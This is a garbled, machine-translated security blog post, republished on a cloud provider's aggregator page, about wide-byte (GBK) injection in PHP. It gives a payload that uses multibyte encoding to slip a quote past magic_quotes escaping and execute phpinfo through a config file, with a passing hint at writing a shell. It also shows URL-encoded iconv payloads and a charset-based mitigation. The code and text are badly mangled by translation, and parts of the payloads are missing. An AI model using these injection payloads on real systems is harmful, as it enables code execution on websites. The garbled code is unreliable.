Php's experiment on wide byte encoding

Source: Internet
Author: User

In the past, the wide byte still stayed on GET. Thanks to an article by toby57, I went into depth.

GPC Enabled

Submit:‍Response); phpinfo ();//

Conversion:‍Response); phpinfo ();//

<? Php

$ Config = array (response); phpinfo ();//);

?>

Php starts to process: D5 5C 27..., first handles the escape, no special function, becomes D5..., and starts to execute:‍Into..., single quotes are introduced, and phpinfo is executed.

Write shell if you are lucky? POST commit injection?

SET character_set_connection = $ dbcharset, character_set_results = $ dbcharset, character_set_client = binary

The first two statements prevent garbled characters, and the last one prevents wide-byte injection.

Toby57:

When character_set_client is GBK, special characters are introduced only when character_set_client is binary.

Iconv (GBK, UTF-8, $ _ GET [para]); // convert from GBK to UTF-8

Test. php? Para = a % e5 % 27

You can introduce chr (39) at the end, that is

$ Username = iconv (UTF-8, GBK, $ _ GET [para]); // convert from UTF-8 encoding to GBK

Test. php? Para = a % e9 % 8c % a6

You can introduce chr (92) at the end, that is

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.